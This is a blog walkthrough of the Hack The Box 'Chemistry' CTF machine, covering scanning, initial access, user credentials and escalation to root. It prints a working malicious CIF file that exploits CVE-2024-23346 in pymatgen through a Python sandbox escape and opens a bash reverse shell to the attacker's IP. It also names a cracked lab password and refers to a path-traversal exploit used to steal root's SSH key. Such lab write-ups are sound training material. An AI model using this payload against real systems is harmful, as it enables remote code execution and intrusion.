Hello everyone! Welcome to Pentestguy. In this post, we will see the Chemistry hackthebox walkthrough. Chemistry is easy linux machine ctf available on hack the box. You can find the Chemistry machine on the hack the box platform using this link
For the Chemistry machine hackthebox walkthrough, we are going to do the enumeration part like post-scanning and checking for the services running on the respective port numbers and reverse shell to the box. Decrypting the hash achieving the user, and pivoting to the root of the machine.
#nmap
nmap 10.10.11.38 -oN nmap.txt
After performing a port scan, found the two open ports. On port number 5000 found a portal where we can upload the file.
#reverse shell
Did some research for cif reverse shell and found very interesting information – https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346
Created a test.cif using the below code.
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.243/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Uploaded the file test.cif and clicked on View option.
Checked for the netcat for reverse connection and here we go.
#user
Found the database.db in the instance directory, and transferred the database.db to the local machine using netcat. If you don’t know how to do it via netcat then follow the article – https://pentestguy.com/the-ultimate-guide-to-netcat/
Opened the database.db via SQLite browser and found users along with the md5 hashes.
Decrypted the hash for rosa user using the online service – https://www.dcode.fr/md5-hash
Tried the credentials rosa:unicorniosrosados for ssh login and we got the user.
#root
For privilege escalation, tried different methods after execution of linpeas.sh found an internal service that was running on port number 8080
Found the version using the curl command. Another way of enumeration is, to map the service to the local/attacker box using ssh.
After doing Google, found a CVE-2024-23334 which is for path traversal vulnerability. Here is the exploit you can use – https://github.com/z3rObyte/CVE-2024-23334-PoC/blob/main/exploit.sh
I modified the exploit according to my scenario, which is given below.
After execution, got id_rsa
Saved id_rsa to the local system and changed the permission using the below command
chmod 600 id_rsa
Did the ssh to root with id_rsa and that’s all.
ssh root@10.10.11.38 -i id_rsa
Please share this post with your co-workers and friends if you found it helpful. Please provide your valuable comments and let us know if you have any suggestions. You can now also collaborate with us; please check our collaboration page. Thank you!
